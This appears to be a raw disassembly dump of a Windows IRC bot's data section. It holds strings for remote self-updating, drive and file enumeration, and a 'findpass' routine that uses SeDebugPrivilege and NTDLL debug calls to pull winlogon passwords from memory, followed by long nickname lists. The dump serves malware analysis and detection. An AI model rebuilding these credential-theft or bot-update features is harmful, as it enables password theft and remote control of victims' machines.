; DATA XREF: ___:00416240o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_437D3C db 2Dh ; - ; DATA XREF: ___:0041688Do db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_437D68 db 2Dh ; - ; DATA XREF: ___:0041687Fo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_437D9C db 2Dh ; - ; DATA XREF: ___:004167C3o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h dword_437DE0 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416752o dd 25206465h, 73h unk_437DFC db 2Dh ; - ; DATA XREF: ___:004166DBo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_437E34 db 2Dh ; - ; DATA XREF: ___:0041665Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_437E5C db 2Dh ; - ; DATA XREF: ___:004165D2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_437E88 db 2Dh ; - ; DATA XREF: ___:0041658Fo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_437EB0 db 2Dh ; - ; DATA XREF: ___:0041657Do db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_437ED8 db 2Dh ; - ; DATA XREF: ___:00416471o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A2:loc_4169E5o ; sub_418EF7+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A2:loc_4169DFo aDisk db 'Disk',0 ; DATA XREF: sub_4169A2:loc_4169D9o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_4169A2:loc_4169D3o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A2:loc_4169CDo align 4 off_437F28 dd offset word_4D4152 ; DATA XREF: sub_4169A2:loc_4169C7o word_437F2C dw 3Fh ; DATA XREF: sub_4169A2+1Fo ; sub_41AA43:loc_41AB45r align 10h aFailed db 'failed',0 ; DATA XREF: sub_416A33:loc_416B11o ; sub_416B57+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_416A33+6Co align 10h unk_437F40 db 2Dh ; - ; DATA XREF: sub_416B57+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_437F7C db 2Dh ; - ; DATA XREF: sub_416B57+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_416C29:loc_416C6Eo db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_438028 db 2Dh ; - ; DATA XREF: sub_416F1B:loc_417094o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_43805C db 2Dh ; - ; DATA XREF: sub_416F1B:loc_417067o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_438088 db 2Dh ; - ; DATA XREF: sub_416F1B:loc_417060o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h unk_4380C0 db 2Dh ; - ; DATA XREF: sub_416F1B+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_43811C dd offset aNU1 ; DATA XREF: sub_416F1B+DCo ; "}î1" dd offset aGo ; "¾êÊ&ƒoÏ" dd offset dword_4F0044 dd offset loc_41004B+2 dd offset loc_4E0047+2 dd 0 off_438134 dd offset aNU1 ; DATA XREF: sub_416F1B+CEo ; "}î1" dd offset aGo ; "¾êÊ&ƒoÏ" dd offset loc_41004E dd offset byte_45004D align 8 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1B+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1B+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1B+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1B+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1B+40o ; sub_416F1B+161o ... align 4 unk_4381F8 db 2Dh ; - ; DATA XREF: sub_416F1B+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170ED+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170ED+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170ED+AFo align 4 dword_438244 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417553+70o ; sub_4175EA+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_438294 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4175EA+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_4382E8 dd offset aQ ; DATA XREF: sub_417ADE+5Cr ; "q" dd offset dword_438E90 dd offset aE ; "e" dd offset aR ; "r" dd offset aT ; "t" dd offset dword_438E8C dd offset aU ; "u" dd offset aI ; "i" dd offset aP ; "p" dd offset aA ; "a" dd offset aS_0 ; "s" dd offset aD ; "d" dd offset dword_438E88 dd offset dword_438E84 dd offset dword_438E80 dd offset aJ ; "j" dd offset aK ; "k" dd offset asc_42CE50 ; "l" dd offset dword_438E7C dd offset dword_438E78 dd offset aC ; "c" dd offset aV ; "v" dd offset dword_438E74 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_438E70 dd offset dword_438E6C dd offset dword_438E68 dd offset dword_438E64 dd offset dword_438E60 dd offset word_438E5C dd offset dword_438E58 dd offset aI_0 ; "I" dd offset dword_438E54 dd offset dword_438E50 dd offset aA_0 ; "A" dd offset dword_438E4C dd offset dword_438E48 dd offset dword_438E44 dd offset dword_438E40 dd offset dword_438E3C dd offset dword_438E38 dd offset dword_438E34 dd offset dword_438E30 dd offset dword_438E2C dd offset dword_438E28 dd offset dword_438E24 dd offset dword_438E20 dd offset dword_438E1C dd offset word_438E18 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_438BB0 dd offset off_438BAC dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438A18 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_4385E8 dd offset aSex ; DATA XREF: sub_417ADE+41r ; sub_417ADE+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex_0 ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset dword_438E74 dd offset aC ; "c" dd offset aD ; "d" dd offset aE ; "e" dd offset dword_438E88 dd offset dword_438E84 dd offset dword_438E80 dd offset aI ; "i" dd offset dword_42BBF8 dd offset aJ ; "j" dd offset aK ; "k" dd offset asc_42CE50 ; "l" dd offset aM ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_438E90 dd offset dword_438E78 dd offset dword_438E8C dd offset dword_438E7C dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_438E7C dd offset dword_438E84 dd offset aS_0 ; "s" dd offset aQ ; "q" dd offset off_438838 dd offset aBbl ; "|bbl" dd offset dword_43D808 dd offset dword_43D808 dd offset a___0 ; "_|_" dd offset dword_43D808 dd offset dword_43D808 dd offset dword_43D808 dd offset dword_43D808 dd offset dword_438E44 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_438E74 dd offset dword_43D808 dd offset aSleeping ; "Sleeping" dd offset dword_43D808 dd offset dword_43D808 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset dword_43D808 dd offset dword_43D808 dd offset dword_438E28 dd offset dword_43D808 dd offset off_4387F8 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_4387B8 dd offset dword_4387B4 dd offset dword_4387AC dd offset dword_4387A0 dd offset dword_438798 dd offset dword_438790 dd offset dword_438788 dd offset dword_438784 dd offset dword_438780 dword_438780 dd 7536h ; DATA XREF: ___:0043877Co dword_438784 dd 7535h ; DATA XREF: ___:00438778o dword_438788 dd 7C75347Ch, 0 ; DATA XREF: ___:00438774o dword_438790 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438770o dword_438798 dd 7375347Ch, 7Ch ; DATA XREF: ___:0043876Co dword_4387A0 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438768o dword_4387AC dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:00438764o dword_4387B4 dd 6C6F6Ch ; DATA XREF: ___:00438760o dword_4387B8 dd 746F74h ; DATA XREF: ___:0043875Co aMofo db 'mofo',0 ; DATA XREF: ___:00438758o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:00438754o align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438750o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:0043874Co align 4 aAha db 'aha',0 ; DATA XREF: ___:00438748o aShit db 'shit',0 ; DATA XREF: ___:00438744o align 4 aGurl db 'gurl',0 ; DATA XREF: ___:00438740o align 10h aGirl_0 db 'GIRL',0 ; DATA XREF: ___:0043873Co align 4 off_4387F8 dd offset loc_594F41+1 ; DATA XREF: ___:00438738o aFree db 'Free',0 ; DATA XREF: ___:00438724o align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: ___:00438720o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:00438714o align 4 aF_2 db '^^^f^',0 ; DATA XREF: ___:00438708o align 10h aSad db 'Sad',0 ; DATA XREF: ___:00438704o aLuvu db 'LUVU',0 ; DATA XREF: ___:00438700o align 4 a___0 db '_|_',0 ; DATA XREF: ___:004386E4o aBbl db '|bbl',0 ; DATA XREF: ___:004386D8o align 4 off_438838 dd offset loc_425242 ; DATA XREF: ___:004386D4o aMuckc db 'muckc',0 ; DATA XREF: ___:004386C0o align 4 aTruck db 'truck',0 ; DATA XREF: ___:004386BCo align 4 aTrimy db 'trimy',0 ; DATA XREF: ___:004386B8o align 4 aLuvy db 'luvy',0 ; DATA XREF: ___:004386B4o align 4 aUi db 'ui',0 ; DATA XREF: ___:004386B0o align 10h aSdf db 'sdf',0 ; DATA XREF: ___:004386ACo aRt db 'rt',0 ; DATA XREF: ___:004386A8o align 4 aGf db 'gf',0 ; DATA XREF: ___:004386A4o align 4 aTy db 'ty',0 ; DATA XREF: ___:004386A0o align 10h aRg db 'rg',0 ; DATA XREF: ___:0043869Co align 4 aHappy db 'happy',0 ; DATA XREF: ___:00438698o align 4 aRs db 'rs',0 ; DATA XREF: ___:00438678o align 10h aQ8A db '|q8|a',0 ; DATA XREF: ___:00438630o align 4 aQ8 db 'Q8',0 ; DATA XREF: ___:0043862Co align 4 aSick db 'sick}}',0 ; DATA XREF: ___:00438628o align 4 aWiked db '|wiked|',0 ; DATA XREF: ___:00438624o aLuvuF db '||luvu-f|',0 ; DATA XREF: ___:00438620o align 4 aGens db '{gens|',0 ; DATA XREF: ___:0043861Co align 10h aSex_0 db '{sex}',0 ; DATA XREF: ___:00438618o align 4 aHub db '{hub}',0 ; DATA XREF: ___:00438614o align 10h aLuck db '|luck|',0 ; DATA XREF: ___:00438610o align 4 aSuck db '|suck|',0 ; DATA XREF: ___:0043860Co align 10h aTot db '-|tot|',0 ; DATA XREF: ___:00438608o align 4 aWoh db '|woh|',0 ; DATA XREF: ___:00438604o align 10h aTambe db '|tambe|',0 ; DATA XREF: ___:00438600o aLag db 'lag',0 ; DATA XREF: ___:004385FCo aBad db 'bad',0 ; DATA XREF: ___:004385F8o aTree db 'tree',0 ; DATA XREF: ___:004385F4o align 4 aZex db 'zex',0 ; DATA XREF: ___:004385F0o aLez db 'lez',0 ; DATA XREF: ___:004385ECo aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:004385E4o align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:004385E0o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:004385DCo align 10h aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:004385D8o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: ___:004385D4o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:004385D0o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:004385CCo align 10h aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:004385C8o align 4 aCem39 db 'cem39',0 ; DATA XREF: ___:004385C4o align 10h aCool30m db 'cool30m',0 ; DATA XREF: ___:004385C0o aTropikal db 'tropikal',0 ; DATA XREF: ___:004385BCo align 4 aPassenger db 'passenger',0 ; DATA XREF: ___:004385B8o align 10h aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:004385B4o align 4 aUla db 'ula',0 ; DATA XREF: ___:004385B0o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:004385ACo aAkden db 'akden',0 ; DATA XREF: ___:004385A8o align 10h aKoray db 'KORAY',0 ; DATA XREF: ___:004385A4o align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:004385A0o align 10h aFirtina db 'firtina',0 ; DATA XREF: ___:0043859Co aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438598o aM41ist db 'M41IST',0 ; DATA XREF: ___:00438594o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438590o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: ___:0043858Co align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00438588o align 4 aErkan db 'erkan',0 ; DATA XREF: ___:00438584o align 4 aDevre db 'devre',0 ; DATA XREF: ___:00438580o align 4 aYabanc db 'yabanc',0 ; DATA XREF: ___:0043857Co align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:00438578o align 4 aA44m db 'a44m',0 ; DATA XREF: ___:00438574o align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:00438570o align 4 off_438A18 dd offset byte_4B5245 ; DATA XREF: ___:0043856Co aSevda db 'sevda',0 ; DATA XREF: ___:00438568o align 4 aKotan db 'kotan',0 ; DATA XREF: ___:00438564o align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00438560o align 4 aAchilles db 'Achilles',0 ; DATA XREF: ___:0043855Co align 10h aKapk db 'kapk',0 ; DATA XREF: ___:00438558o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00438554o align 4 aHayran db 'hayran',0 ; DATA XREF: ___:00438550o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:0043854Co align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:00438548o align 10h aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00438544o aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00438540o align 4 aUmut db 'umut-',0 ; DATA XREF: ___:0043853Co align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:00438538o align 4 aKumul db 'kumul',0 ; DATA XREF: ___:00438534o align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00438530o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:0043852Co align 10h aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00438528o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:00438524o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:00438520o align 10h aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:0043851Co align 10h aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00438518o aHoly db 'holy',0 ; DATA XREF: ___:00438514o align 10h aFlord db 'FLoRD',0 ; DATA XREF: ___:00438510o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:0043850Co aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00438508o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00438504o align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00438500o align 10h aRamtha db 'RAMTHA',0 ; DATA XREF: ___:004384FCo align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:004384F8o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: ___:004384F4o align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:004384F0o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:004384ECo aArda db 'arda',0 ; DATA XREF: ___:004384E8o align 4 aDevran db 'devran',0 ; DATA XREF: ___:004384E4o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: ___:004384E0o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:004384DCo align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:004384D8o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:004384D4o align 10h aBogac db 'bogac',0 ; DATA XREF: ___:004384D0o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:004384CCo align 4 aAnkh db 'ankh',0 ; DATA XREF: ___:004384C8o align 4 off_438BAC dd offset byte_457441 ; DATA XREF: ___:004384C4o dword_438BB0 dd 414C5941h, 2Dh ; DATA XREF: ___:004384C0o aAlbina db 'albina',0 ; DATA XREF: ___:004384BCo align 10h aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:004384B8o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:004384B4o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: ___:004384B0o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:004384ACo align 4 aAhmet db 'ahmet',0 ; DATA XREF: ___:004384A8o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:004384A4o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:004384A0o align 4 aRetg db 'RETG',0 ; DATA XREF: ___:0043849Co align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438498o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00438494o aAslii db 'aslii',0 ; DATA XREF: ___:00438490o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:0043848Co aHaticem db 'haticem',0 ; DATA XREF: ___:00438488o aArzu db 'ARZU',0 ; DATA XREF: ___:00438484o align 10h aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438480o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:0043847Co align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00438478o align 10h aTekir db 'tekir',0 ; DATA XREF: ___:00438474o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00438470o align 4 aTrend3 db 'trend3',0 ; DATA XREF: ___:0043846Co align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:00438468o align 4 aAkin db 'AKIN',0 ; DATA XREF: ___:00438464o align 4 aMary_0 db 'MARY',0 ; DATA XREF: ___:00438460o align 4 aJericho db 'JERICHO',0 ; DATA XREF: ___:0043845Co aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00438458o aMisssunday db 'misssunday',0 ; DATA XREF: ___:00438454o align 10h aIrmal db 'irmal',0 ; DATA XREF: ___:00438450o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:0043844Co align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:00438448o align 10h aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00438444o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:00438440o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:0043843Co align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00438438o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00438434o align 4 aKencing db 'Kencing',0 ; DATA XREF: ___:00438430o aReshma db 'reshma',0 ; DATA XREF: ___:0043842Co align 4 aCamel db 'CAMEL',0 ; DATA XREF: ___:00438428o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:00438424o align 4 aImra db 'imra',0 ; DATA XREF: ___:00438420o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:0043841Co align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00438418o align 4 aKermit db 'kermit',0 ; DATA XREF: ___:00438414o align 4 aManee db 'manee',0 